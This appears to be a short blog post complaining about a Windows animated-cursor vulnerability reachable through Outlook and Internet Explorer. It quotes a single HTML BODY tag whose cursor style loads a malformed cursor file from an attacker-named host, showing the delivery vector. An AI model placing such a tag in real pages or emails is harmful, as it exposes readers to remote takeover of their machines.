Cursors? WTF?
Just when I thought Microsoft couldn’t sink any lower into stupidity, an exploit comes out which works by over-running Window’s animated cursor routine.
You read that right, animated cursors. You know, the little pointer that moves by your mouse.
As it turns out, this is so easy to exploit through Outlook and Internet Explorer, that a Web page or HTML email containing something as simple as:
<BODY style=”CURSOR: url(’http://www.weownyou.com/cursor.ani’)”>
with “cursor.ani” being the malformed animated cursor, is enough to allow their code to completely take over your Windows box, whether it is Windows 98 or Vista. There is no way to turn off the hooks in either program to not load animated cursors, so you’re stuck until Microsoft releases a patch.
I can excuse mistakes in code, as none of us are perfect. When an operating system becomes as large as Windows is, it is nigh impossible to find every bug the first pass through. However, to have a design problem so large that your animated cursor routine allows exploitation of the entire operating system, is beyond belief. How do you fuck up mouse handling routines so badly, that it allows an OS exploit?
What the hell is next? Remote exploits through the file renaming routine?
Posted in Computers
